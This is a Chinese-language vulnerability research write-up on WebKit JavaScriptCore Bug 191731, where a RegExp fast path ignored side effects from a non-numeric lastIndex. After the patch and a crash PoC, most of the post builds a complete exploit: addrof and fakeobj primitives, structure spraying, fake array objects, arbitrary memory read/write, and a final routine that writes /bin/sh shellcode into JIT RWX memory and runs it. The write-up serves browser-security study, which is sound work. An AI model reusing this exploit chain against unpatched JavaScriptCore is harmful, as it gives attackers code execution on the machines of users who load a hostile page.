0x00 环境配置
环境配置:Ubuntu 18.04 x86_64,默认安装完成后升级最新的库,按照正常流程编译
Bug 191731: RegExp operations should not take fast patch if lastIndex is not numeric.
- https://bugs.webkit.org/show_bug.cgi?id=191731
补丁
// https://github.com/WebKit/WebKit/commit/6c2c3820b8a70438adf19ec73bf6508fdd1fb2c1
commit 6c2c3820b8a70438adf19ec73bf6508fdd1fb2c1
Author: Mark Lam <mark.lam@apple.com>
Date: Fri Nov 16 05:12:25 2018 +0000
RegExp operations should not take fast patch if lastIndex is not numeric.
https://bugs.webkit.org/show_bug.cgi?id=191731
<rdar://problem/46017305>
Reviewed by Saam Barati.
JSTests:
* stress/regress-191731.js: Added.
Source/JavaScriptCore:
This is because if lastIndex is an object with a valueOf() method, it can execute
arbitrary code which may have side effects, and side effects are not permitted by
the RegExp fast paths.
* builtins/RegExpPrototype.js:
(globalPrivate.hasObservableSideEffectsForRegExpMatch):
(overriddenName.string_appeared_here.search):
(globalPrivate.hasObservableSideEffectsForRegExpSplit):
(intrinsic.RegExpTestIntrinsic.test):
* builtins/StringPrototype.js:
(globalPrivate.hasObservableSideEffectsForStringReplace):
Canonical link: https://commits.webkit.org/206464@main
git-svn-id: https://svn.webkit.org/repository/webkit/trunk@238267 268f45cc-cd09-0410-ab3c-d52691b4dbfc
切回补丁上一个版本并进行编译
commit 738e2705bb89b082299a7bb4de77b2ffc691ef30
Author: Simon Fraser <simon.fraser@apple.com>
Date: Fri Nov 16 05:02:56 2018 +0000
wnagzihxa1n@ubuntu:~/JSCDebug/Bug-191731$ git checkout 738e2705bb89b082299a7bb4de77b2ffc691ef30 -b Bug-191731
Checking out files: 100% (212274/212274), done.
Switched to a new branch 'Bug-191731'
wnagzihxa1n@ubuntu:~/JSCDebug/Bug-191731$ ./Tools/Scripts/update-webkitgtk-libs
wnagzihxa1n@ubuntu:~/JSCDebug/Bug-191731$ ./Tools/Scripts/build-webkit --jsc-only --debug
Poc
var victim_array = [1.1];
var reg = /abc/y;
var val = 5.2900040263529e-310 // 0x0000616161616161
var funcToJIT = function() {
'abc'.match(reg);
victim_array[0] = val;
}
for (var i = 0; i < 10000; ++i){
funcToJIT()
}
regexLastIndex = {};
regexLastIndex.toString = function() {
victim_array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
funcToJIT()
print(victim_array[0])
0x01 基础知识
JavaScript的正则表达式分为两部分:正则表达式主体和修饰符
如下为一个典型的正则表达式,意思为不区分大小写匹配字符a
,修饰符可有可无
/a/i
1.1 RegExp对象
RegExp对象使用的是函数exec()
检索模式串,此处也有修饰符g
的作用,每次只匹配一个模式串,通过regexp.lastIndex
属性来记录下一次搜索的起点
>>> var str = "abcd abcd abcd"
>>> let regexp = /a/g
第一次执行函数exec()
的时候,匹配下标为0,regexp.lastIndex
为1
>>> regexp.exec(str)
a
>>> regexp.lastIndex
1
第二次执行函数exec()
的时候,匹配下标为5,regexp.lastIndex
为6
>>> regexp.exec(str)
a
>>> regexp.lastIndex
6
第三次执行函数exec()
的时候,匹配下标为10,regexp.lastIndex
为11
>>> regexp.exec(str)
a
>>> regexp.lastIndex
11
第四次执行函数exec()
的时候,匹配下标为null,regexp.lastIndex
为0
>>> regexp.exec(str)
null
>>> regexp.lastIndex
0
如果修饰符为y
,搜索结果会发生变化,表示必须从regexp.lastIndex
开始匹配,可以看到第一次正常匹配,第二次匹配的时候由于下标为1的地方没有可以匹配的模式串,所以返回null
>>> var str = "abcd abcd abcd"
>>> let regexp = /a/y
>>> regexp.exec(str)
a
>>> regexp.lastIndex
1
>>> regexp.exec(str)
null
>>> regexp.lastIndex
0
1.2 String对象
String对象拥有多个可以使用正则表达式的函数:search()
,match()
,replace()
,split()
函数search()
用于检索匹配正则表达式的模式串下标,如果没有检索到则返回-1
,修饰符g
表示进行全局匹配
>>> var str = "abcd abcd abcd abcd"
>>> str.search(/a/g)
0
函数match()
会将检索到的字符全部返回
>>> var str = "abcd abcd abcd abcd"
>>> str.match(/a/g)
a,a,a,a
更详细的可以参考
- https://www.runoob.com/jsref/jsref-obj-regexp.html
0x02 漏洞分析
String对象的匹配函数match()
实现如下,matchSymbol
是Symbol.match
// Source/JavaScriptCore/builtins/StringPrototype.js
function match(regexp)
{
"use strict";
if (this == null)
@throwTypeError("String.prototype.match requires that |this| not be null or undefined");
if (regexp != null) {
var matcher = regexp.@matchSymbol;
if (matcher != @undefined)
return matcher.@call(regexp, this);
}
let thisString = @toString(this);
let createdRegExp = @regExpCreate(regexp, @undefined);
return createdRegExp.@matchSymbol(thisString);
}
函数match()
有一个检查函数hasObservableSideEffectsForRegExpMatch()
用于判断正则表达式是否有Side-Effect,如果有Side-Effect就调用函数matchSlow()
,如果没有Side-Effect就调用regExpMatchFast
// Source/JavaScriptCore/builtins/RegExpPrototype.js
@overriddenName="[Symbol.match]"
function match(strArg)
{
"use strict";
if (!@isObject(this))
@throwTypeError("RegExp.prototype.@@match requires that |this| be an Object");
let str = @toString(strArg);
// Check for observable side effects and call the fast path if there aren't any.
if (!@hasObservableSideEffectsForRegExpMatch(this))
return @regExpMatchFast.@call(this, str);
return @matchSlow(this, str);
}
检查函数hasObservableSideEffectsForRegExpMatch()
只检查了三个内置对象是否有变化,此处没有检查lastIndex
@globalPrivate
function hasObservableSideEffectsForRegExpMatch(regexp)
{
"use strict";
// This is accessed by the RegExpExec internal function.
let regexpExec = @tryGetById(regexp, "exec");
if (regexpExec !== @regExpBuiltinExec)
return true;
let regexpGlobal = @tryGetById(regexp, "global");
if (regexpGlobal !== @regExpProtoGlobalGetter)
return true;
let regexpUnicode = @tryGetById(regexp, "unicode");
if (regexpUnicode !== @regExpProtoUnicodeGetter)
return true;
return !@isRegExpObject(regexp);
}
regExpMatchFast
并不是一个函数,而是一个指令,函数clobberWorld()
用于有Side-Effect存在的操作,我们可以看到函数test()
被标记为有危险Side-Effect的函数
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
template<typename AbstractStateType>
bool AbstractInterpreter<AbstractStateType>::executeEffects(unsigned clobberLimit, Node* node)
{
verifyEdges(node);
m_state.createValueForNode(node);
switch (node->op()) {
...
case RegExpTest:
clobberWorld();
setNonCellTypeForNode(node, SpecBoolean);
break;
case RegExpMatchFast:
ASSERT(node->child2().useKind() == RegExpObjectUse);
ASSERT(node->child3().useKind() == StringUse || node->child3().useKind() == KnownStringUse);
setTypeForNode(node, SpecOther | SpecArray);
break;
所以我们可以通过设置lastIndex
属性来实现一个Side-Effect
疑问:调用指令RegExpMatchFast之后发生了什么?优化后的JIT代码如何生成?
0x03 漏洞利用
分析Poc之前需要理解一个特性,如果当前的数组为浮点数数组,可以存在0000
的标志位形式,这一点非常重要,后面的原语全部基于此特性
>>> describe([5.2900040263529e-310, 2])
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000e4010 (Structure 0x7fffaf4f2ca0:[Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 103
(gdb) x/4gx 0x7fe0000e4010
0x7fe0000e4010: 0x0000616161616161 0x4000000000000000
0x7fe0000e4020: 0x00000000badbeef0 0x00000000badbeef0
但是当加入一个对象,浮点数数组变成了对象数组,此时最开始的浮点数标志位就会从0000
变为0001
以区分指针和浮点数
>>> describe([5.2900040263529e-310, 2.2, {}])
Object: 0x7fffaf4b4340 with butterfly 0x7fe0000fe6c8 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
(gdb) x/4gx 0x7fe0000fe6c8
0x7fe0000fe6c8: 0x0001616161616161 0x400299999999999a
0x7fe0000fe6d8: 0x00007fffaf4b0080 0x00000000badbeef0
带上注释理解Poc,在位置1已经完成前期JIT优化和lastIndex
设置等工作,位置2执行正则匹配的时候利用toString将victim_array转换为对象数组,但由于未考虑lastIndex
带来的Side-Effect,经过JIT优化后的函数funcToJIT()
认为数组依旧是浮点数数组,导致位置3写入0x0000616161616161
时并未修改0000
标志位
var victim_array = [1.1]; // 浮点数数组
var reg = /abc/y; // 带修饰符y的正则表达式,匹配abc
var val = 5.2900040263529e-310 // 0x0000616161616161
// 用于JIT的函数
var funcToJIT = function() {
'abc'.match(reg); // <-- 2
victim_array[0] = val; // <-- 3
}
// 循环调用触发JIT优化
for (var i = 0; i < 10000; ++i){
funcToJIT()
}
// 设置lastIndex
regexLastIndex = {};
regexLastIndex.toString = function() {
victim_array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
// 此时函数funcToJIT已经完成JIT
funcToJIT() // <-- 1
// 将0x0000616161616161作为对象指针调用导致崩溃
print(victim_array[0])
这里要注意一点:JIT后的代码始终认为victim_array是浮点数类型数组
在分析清楚了漏洞成因之后,我们来思考如何利用这个漏洞构造读写原语
构造原语的最终形式就是函数调用,比如我们要获取一个对象的地址,那参数就是这个对象,返回值是该对象的地址
任意对象地址泄露原语addrof
如下
function addrof(val) {
var array = [13.37];
var reg = /abc/y;
var AddrGetter = function(array) {
"abc".match(reg);
return array[0];
}
for (var i = 0; i < 10000; ++i)
AddrGetter(array);
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val; // 将目标对象赋值给array[0],数组转换为对象数组
return "0";
};
reg.lastIndex = regexLastIndex;
return AddrGetter(array);
}
测试任意对象地址泄露原语的效果
arr = [1, 2, 3]
print(describe(arr))
// Object: 0x7f2ffbeb4340 with butterfly 0x7f20000e4010 (Structure 0x7f2ffbef2c30:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7f2ffbec80a0, Leaf]), StructureID: 102
print(addrof(arr))
// 6.909214912619e-310
解码后可以看到addrof
原语效果不错
>>> hex(struct.unpack("Q", struct.pack("d", 6.909214912619e-310))[0])
>>> '0x7f2ffbeb4340'
接下来实现任意伪造对象原语fakeobj
任意地址构造对象的重要前提是这个地址指向的是合法的对象,如同Poc里所展示的,默认情况下,地址0x0000616161616161
大概率是不会有合法对象存在的
创建一个空对象,它的butterfly目前是空的,第一个属性obj.x
值为1
>>> obj = {}
>>> obj.x = 1
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf470310:[Object, {x:0}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 294
(gdb) x/4gx 0x7fffaf4b0080
0x7fffaf4b0080: 0x0100160000000126 0x0000000000000000
0x7fffaf4b0090: 0xffff000000000001 0x0000000000000000
创建一个空对象,并添加三个属性,此时butterfly依旧为空,所有属性内联
>>> obj = {}
>>> obj.x = 1
>>> obj.y = 2
>>> obj.z = 3
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf4703f0:[Object, {x:0, y:1, z:2}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 296
(gdb) x/8gx 0x7fffaf4b0080
0x7fffaf4b0080: 0x0100160000000128 0x0000000000000000
0x7fffaf4b0090: 0xffff000000000001 0xffff000000000002
0x7fffaf4b00a0: 0xffff000000000003 0x0000000000000000
0x7fffaf4b00b0: 0x0000000000000000 0x0000000000000000
创建一个空对象,添加三个属性后删除第二个属性,第二个属性变成了0x0000000000000000
>>> obj = {}
>>> obj.x = 1
>>> obj.y = 2
>>> obj.z = 3
>>> delete obj.y
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf470460:[Object, {x:0, z:2}, NonArray, Proto:0x7fffaf4b4000, UncacheableDictionary, Leaf]), StructureID: 297
(gdb) x/8gx 0x7fffaf4b0080
0x7fffaf4b0080: 0x0100160000000129 0x0000000000000000
0x7fffaf4b0090: 0xffff000000000001 0x0000000000000000
0x7fffaf4b00a0: 0xffff000000000003 0x0000000000000000
0x7fffaf4b00b0: 0x0000000000000000 0x0000000000000000
想法来了:地址0x7fffaf4b0080
是对象obj
起始地址,我们可以有限控制偏移0x10
之后的若干连续空间内存布局,那我们是否有可能把第一个属性地址0x7fffaf4b0090
作为伪造对象的起始地址进行利用呢?
通过删除属性可以把第二个属性的内存置为0x0000000000000000
用于伪造空butterfly,剩下的就是第一个属性如何构造
这里补充一点:每个对象的前八字节叫作JSCell
class JSCell : public HeapCell {
...
StructureID m_structureID;
IndexingType m_indexingTypeAndMisc; // DO NOT store to this field. Always CAS.
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
CellState m_cellState;
我们可以进行Spray,上面的测试过程可以看出每次新建一个结构不同的对象,StructureID
就会递增,所以我们堆喷一大堆结构不同的对象,理论上StructureID
就会增加到很大
尝试Spray,然后查看最后一个对象的内存
for (var i = 0; i < 0x1000; i++) {
obj = {};
obj.x = 1;
obj['prop_' + i] = 2;
}
可以看到StructureID
从295
增加到了4390
,那我们完全可以控制StructureID
为0x1000
的对象
>>> for (var i = 0; i < 0x1000; i++) { obj = {}; obj.x = 1; obj['prop_' + i] = 2; } describe(obj)
Object: 0x7fffaf4b00c0 with butterfly (nil) (Structure 0x7fffaf470380:[Object, {x:0, prop_0:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 295
Object: 0x7fffaf4b0140 with butterfly (nil) (Structure 0x7fffaf4703f0:[Object, {x:0, prop_1:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 296
Object: 0x7fffaf4b01c0 with butterfly (nil) (Structure 0x7fffaf470460:[Object, {x:0, prop_2:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 297
Object: 0x7fffaf4b0240 with butterfly (nil) (Structure 0x7fffaf4704d0:[Object, {x:0, prop_3:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 298
Object: 0x7fffaf4b02c0 with butterfly (nil) (Structure 0x7fffaf470540:[Object, {x:0, prop_4:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 299
...
Object: 0x7fffaf530040 with butterfly (nil) (Structure 0x7fffaf4e0310:[Object, {x:0, prop_4095:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 4390
而且除了StructureID
之外,其它的字段数据并未发生变化,那就可以在第一个属性填充0x0100160000001000
(gdb) x/gx 0x7fffaf4b00c0
0x7fffaf4b00c0: 0x0100160000000127
(gdb) x/gx 0x7fffaf4b0140
0x7fffaf4b0140: 0x0100160000000128
(gdb) x/gx 0x7fffaf4b01c0
0x7fffaf4b01c0: 0x0100160000000129
(gdb) x/gx 0x7fffaf4b0240
0x7fffaf4b0240: 0x010016000000012a
(gdb) x/gx 0x7fffaf4b02c0
0x7fffaf4b02c0: 0x010016000000012b
转换数据
>>> struct.unpack("d", struct.pack("Q", 0x0100160000001000))[0]
7.330283319472755e-304
把这个数据写到第一个属性
>>> obj = {}
>>> obj.x = 7.330283319472755e-304
>>> obj.y = 2
>>> obj.z = 3
>>> delete obj.y
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf470460:[Object, {x:0, z:2}, NonArray, Proto:0x7fffaf4b4000, UncacheableDictionary, Leaf]), StructureID: 297
(gdb) x/8gx 0x7fffaf4b0080
0x7fffaf4b0080: 0x0100160000000129 0x0000000000000000
0x7fffaf4b0090: 0x0101160000001000 0x0000000000000000
0x7fffaf4b00a0: 0xffff000000000003 0x0000000000000000
0x7fffaf4b00b0: 0x0000000000000000 0x0000000000000000
但我们发现第一个属性被加上了0x0001000000000000
,这是用于表示浮点数的标志位
* The scheme we have implemented encodes double precision values by performing a
* 64-bit integer addition of the value 2^48 to the number. After this manipulation
* no encoded double-precision value will begin with the pattern 0x0000 or 0xFFFF.
* Values must be decoded by reversing this operation before subsequent floating point
* operations may be peformed.
那我们只需要减去这个值再编码即可
>>> struct.unpack("d", struct.pack("Q", 0x0100160000001000 - 0x0001000000000000))[0]
7.082855106403439e-304
再来一遍,效果很好,现在只需要配合上面的Spray分配StructureID
即可完成合法对象的构造
>>> obj = {}
>>> obj.x = 7.082855106403439e-304
>>> obj.y = 2
>>> obj.z = 3
>>> delete obj.y
>>> describe(obj)
Object: 0x7fffaf4b0080 with butterfly (nil) (Structure 0x7fffaf470690:[Object, {x:0, z:2}, NonArray, Proto:0x7fffaf4b4000, UncacheableDictionary, Leaf]), StructureID: 302
(gdb) x/8gx 0x7fffaf4b0080
0x7fffaf4b0080: 0x010016000000012e 0x0000000000000000
0x7fffaf4b0090: 0x0100160000001000 0x0000000000000000
0x7fffaf4b00a0: 0xffff000000000003 0x0000000000000000
0x7fffaf4b00b0: 0x0000000000000000 0x0000000000000000
原语fakeobj
的实现如下,传入参数为需要伪造对象的地址,在函数AddrSetter()
里因为JIT认为数组array
始终为浮点数数组,所以直接写入数据而不修改标志位
function fakeobj(dbl) {
var array = [13.37];
var reg = /abc/y;
var AddrSetter = function(array) {
"abc".match(reg);
array[0] = dbl;
}
for (var i = 0; i < 10000; ++i)
AddrSetter(array);
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
AddrSetter(array);
return array[0];
}
总结一下整个过程:先Spray占位一个StructureID
,利用原语addrof
获取fake对象地址,通过fake对象进行内存风水,将fake对象第一个属性构造成合法对象的JSCell,此时使用原语fakeobj
即可获得一个伪造对象real_fake
完整测试一遍
function addrof(val) { ... }
function fakeobj(dbl) { ... }
for (var i = 0; i < 0x1000; i++) {
obj = {};
obj.x = 1;
obj['prop_' + i] = 2;
}
fake = {};
fake.x = 7.082855106403439e-304;
fake.y = 2;
fake.z = 3;
delete fake.y;
print(describe(fake));
// Object: 0x7fffadefd580 with butterfly (nil) (Structure 0x7fffadef4a80:[Object, {x:0, z:2}, NonArray, Proto:0x7fffaf4b4000, UncacheableDictionary, Leaf]), StructureID: 4458
buf = new ArrayBuffer(8);
u32 = new Uint32Array(buf);
f64 = new Float64Array(buf);
f64[0] = addrof(fake); // 6.95328778531324e-310 浮点数读取fake对象地址
u32[0] += 0x10; // u32[0]的值为0xadefd580,计算结果为0xadefd590
real_fake = fakeobj(f64[0]) // 6.95328778531403e-310 浮点数读取修改偏移后的f64[0]
print(describe(real_fake)) // 确定成功获取对象
// Object: 0x7fffadefd590 with butterfly (nil) (Structure 0x7fffae21e7d0:[Object, {x:0, prop_3736:1}, NonArray, Proto:0x7fffaf4b4000, Leaf]), StructureID: 4096
上面实现的原语可以更加精简,我们来研究一下
先Spray一堆数组对象,并且指定其中下标为510
的对象为victim
var structure_spray = [];
for(var i = 0; i < 1000; i++) {
var array = [13.37];
array.a = 13.37;
array['p' + i] = 13.37;
structure_spray.push(array);
}
print(describe(structure_spray));
// Object: 0x7fffaf4b4340 with butterfly 0x7fe0001fa070 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
var victim = structure_spray[510];
print(describe(victim));
// Object: 0x7fffaf4b6330 with butterfly 0x7fe0000ca128 (Structure 0x7fffae0e9110:[Array, {a:100, p510:101}, ArrayWithDouble, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 4902
对象structure_spray
用于存储分配的数组对象,每个数组对象用属性p + i
区分,比如i
为510
的数组对象属性就是p510
,对象structure_spray
的butterfly为0x00007fe0001fa070
,所以0x00007fe0001fa068
指向它的长度
(gdb) x/8gx 0x7fffaf4b4340
0x7fffaf4b4340: 0x0108210900000063 0x00007fe0001fa070
0x7fffaf4b4350: 0x0108210700001128 0x00007fe0000e0058
0x7fffaf4b4360: 0x0108210700001129 0x00007fe0000e0088
0x7fffaf4b4370: 0x010821070000112a 0x00007fe0000e00b8
(gdb) x/8gx 0x00007fe0001fa060
0x7fe0001fa060: 0x00007fe0001fa001 0x000003ec000003e8
0x7fe0001fa070: 0x00007fffaf4b4350 0x00007fffaf4b4360
0x7fe0001fa080: 0x00007fffaf4b4370 0x00007fffaf4b4380
0x7fe0001fa090: 0x00007fffaf4b4390 0x00007fffaf4b43a0
查看第一个数组元素,它的butterfly为0x00007fe0000e0058
(gdb) x/8gx 0x00007fffaf4b4350
0x7fffaf4b4350: 0x0108210700001128 0x00007fe0000e0058
0x7fffaf4b4360: 0x0108210700001129 0x00007fe0000e0088
0x7fffaf4b4370: 0x010821070000112a 0x00007fe0000e00b8
0x7fffaf4b4380: 0x010821070000112b 0x00007fe0000e00e8
(gdb) x/8gx 0x00007fe0000e0058
0x7fe0000e0058: 0x402abd70a3d70a3d 0x0000000000000000
0x7fe0000e0068: 0x0000000000000000 0x402bbd70a3d70a3d
0x7fe0000e0078: 0x402bbd70a3d70a3d 0x0000000100000001
0x7fe0000e0088: 0x402abd70a3d70a3d 0x0000000000000000
其中我们指定的victim
内存布局如下,butterfly左边是长度和其它属性
(gdb) x/8gx 0x7fffaf4b6330
0x7fffaf4b6330: 0x0108210700001326 0x00007fe0000ca128
0x7fffaf4b6340: 0x0108210700001327 0x00007fe0000ca158
0x7fffaf4b6350: 0x0108210700001328 0x00007fe0000ca188
0x7fffaf4b6360: 0x0108210700001329 0x00007fe0000ca1b8
(gdb) x/8gx 0x00007fe0000ca108
0x7fe0000ca108: 0x0000000000000000 0x402bbd70a3d70a3d
0x7fe0000ca118: 0x402bbd70a3d70a3d 0x0000000100000001
0x7fe0000ca128: 0x402abd70a3d70a3d 0x0000000000000000
0x7fe0000ca138: 0x0000000000000000 0x402bbd70a3d70a3d
重新伪造对象,这一次我们伪造的是对象数组
buf = new ArrayBuffer(8);
u32 = new Uint32Array(buf);
f64 = new Float64Array(buf);
u32[0] = 0x200; // Structure ID
// Flags for ArrayWithDoubles
u32[1] = 0x01082007 - 0x10000;
var flags_arr_double = f64[0];
// Flags for ArrayWithContiguous
u32[1] = 0x01082009 - 0x10000;
var flags_arr_contiguous = f64[0];
var outer = {
cell_header: flags_arr_contiguous,
butterfly: victim,
x: 13.37,
};
f64[0] = addrof(outer);
u32[0] += 0x10;
var real_fake = fakeobj(f64[0]);
unbox数组就是依旧使用浮点数存储的数组,并没有在0000
添加标志位,box数组由于浮点数,整数,指针并存,所以需要添加标志位
var unboxed = [13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37]
print(describe(unboxed));
// Object: 0x7fffade90050 with butterfly 0x7ff0000e0010 (Structure 0x7fffaf4f2ca0:[Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 103
unboxed[0] = 4.2
print(describe(unboxed));
// Object: 0x7fffade90050 with butterfly 0x7ff000038008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98
var boxed = [{}];
print(describe(boxed));
// Object: 0x7fffade90060 with butterfly 0x7ff0000be8e8 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
把unboxed
赋值给real_fake[1]
,real_fake
的butterfly为victim
,所以real_fake[1]
就是victim
的butterfly,此时victim[1]
就是unboxed
的butterfly,我们记录这个butterfly
real_fake[1] = unboxed;
tmp_unbox_butterfly = victim[1];
把boxed
赋值给real_fake[1]
,但这次我们不获取boxed
的butterfly,而是将unboxed
的butterfly赋值给它的butterfly
real_fake[1] = boxed;
victim[1] = tmp_unbox_butterfly;
现在unboxed
和boxed
的butterfly指向同一个地址
print(describe(unboxed));
// Object: 0x7fffade90050 with butterfly 0x7ff000038008 (Structure 0x7fffaf4f2a70:[Array, {}, ArrayWithDouble, Proto:0x7fffaf4c80a0]), StructureID: 98
print(describe(boxed));
// Object: 0x7fffade90060 with butterfly 0x7ff000038008 (Structure 0x7fffaf4f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7fffaf4c80a0]), StructureID: 99
我们可以通过unboxed
和boxed
实现新的addrof
和fakeobj
原语了
将对象写入boxed[0]
,指针高四位为0000
,再用unboxed[0]
取出,刚好没有影响
stage2_addrof = function(obj) {
boxed[0] = obj;
return unboxed[0];
}
将传入的地址写入unboxed[0]
,由于是浮点数数组,不对数据进行box处理,所以boxed[0]
取出这个数据的时候,刚好符合指针高四位为0000
stage2_fakeof = function(dbl) {
unboxed[0] = dbl;
return boxed[0];
}
其实上面已经实现了任意地址读写,real_fake[1]
指向的是victim
的butterfly,而victim.a
是其butterfly往左偏移0x10
指向的数据
如果我们直接将victim
的butterfly赋值为目标地址0x0000616161616161
,那么读取victim.a
的时候就会读取到0x0000616161616151
的数据,所以利用这个特点,我们可以先把目标地址往右偏移0x10
再赋值给victim
的butterfly
stage2_arbitrary_read = function(addr) {
f64[0] = addr;
u32[0] += 0x10;
real_fake[1] = f64[0];
return stage2_addr(victim.a);
}
stage2_arbitrary_write = function(addr, data) {
f64[0] = addr;
u32[0] += 0x10;
real_fake[1] = f64[0];
victim.a = stage2_fakeobj(data);
}
但由于之前伪造对象的时候,real_fake
是对象数组,往butterfly写数据的时候,会将浮点数加上0x1000000000000
存储,所以我们在实现任意读写原语之前将其修改为浮点数数组
outer.cell_header = flags_arr_double;
另外注意一点,为什么不直接返回victim.a
?因为我们要处理数据是对象的情况
现在我们拥有了任意地址读写原语,可以开始实现任意代码执行了,这里使用的方法是修改函数的JIT代码段
var BASE32 = 0x100000000;
function f2i(f) {
f64[0] = f
return u32[0] + BASE32 * u32[1]
}
function i2f(i) {
u32[0] = i % BASE32
u32[1] = i / BASE32
return f64[0]
}
var stage2 = {
addrof: function(obj) {
boxed[0] = obj;
return f2i(unboxed[0]);
},
fakeobj: function(addr) {
unboxed[0] = i2f(addr);
return boxed[0];
},
read64: function(addr) {
real_fake[1] = i2f(addr + 0x10);
return this.addrof(victim.a);
},
write64: function(addr, data) {
real_fake[1] = i2f(addr + 0x10);
victim.a = this.fakeobj(data);
},
getJITFunction: function() {
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) { return false; }
}
return true;
}
for (var i = 0; i < 1000; i++) { target(i); }
for (var i = 0; i < 1000; i++) { target(i); }
for (var i = 0; i < 1000; i++) { target(i); }
print(describe(target))
return target;
},
getRWXMem: function() {
var shellcodeFunc = this.getJITFunction();
var shellcodeFuncAddr = this.addrof(shellcodeFunc);
print("[+] Shellcode function => 0x" + shellcodeFuncAddr.toString(16));
var executableAddr = this.read64(shellcodeFuncAddr + 8 * 3);
print("[+] Executable instance => 0x" + executableAddr.toString(16));
var jitCodeAddr = this.read64(executableAddr + 8 * 3);
print("[+] JITCode instance => 0x" + jitCodeAddr.toString(16));
var rwxMemAddr = this.read64(jitCodeAddr + 8 * 4);
print("[+] RWX memory => 0x" + rwxMemAddr.toString(16));
return [shellcodeFunc, rwxMemAddr];
},
injectShellcode: function(addr, shellcode) {
var theAddr = addr;
for(var i = 0, len = shellcode.length; i < len; i++) {
this.write64(addr + i, shellcode[i].charCodeAt());
}
},
pwn: function() {
shellcodeObj = this.getRWXMem();
shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05";
this.injectShellcode(shellcodeObj[1], shellcode);
var shellcodeFunc = shellcodeObj[0];
shellcodeFunc();
},
};
0x04 漏洞修复
第一处
Source/JavaScriptCore/builtins/RegExpPrototype.js
函数hasObservableSideEffectsForRegExpMatch()
将RegExp
对象判断提前,最后检查lastIndex
是否为number
函数hasObservableSideEffectsForRegExpSplit()
将RegExp
对象判断提前,最后检查lastIndex
是否为number
函数test()
在调用指令regExpTestFast
前的判断里添加了lastIndex
是否为number
类型的判断
函数replace()
在调用指令regExpSearchFast
前的判断里添加了lastIndex
是否为number
类型的判断
第二处
Source/JavaScriptCore/builtins/StringPrototype.js
函数hasObservableSideEffectsForStringReplace()
将RegExp
对象判断提前,最后检查lastIndex
是否为number
0x05 扩展思考
接漏洞分析最后一段,我们没有弄清楚的一个细节:这个函数在优化的时候,都经历了哪些阶段?每个阶段生成的代码是如何的?我们如何界定需要优化的程度?
// 用于JIT的函数
var funcToJIT = function() {
'abc'.match(reg); // <-- 2
victim_array[0] = val; // <-- 3
}
并且触发JIT优化的时候,为什么进入FTL会导致利用失败,是哪个环节的优化导致的?
这些问题有待后续学习解决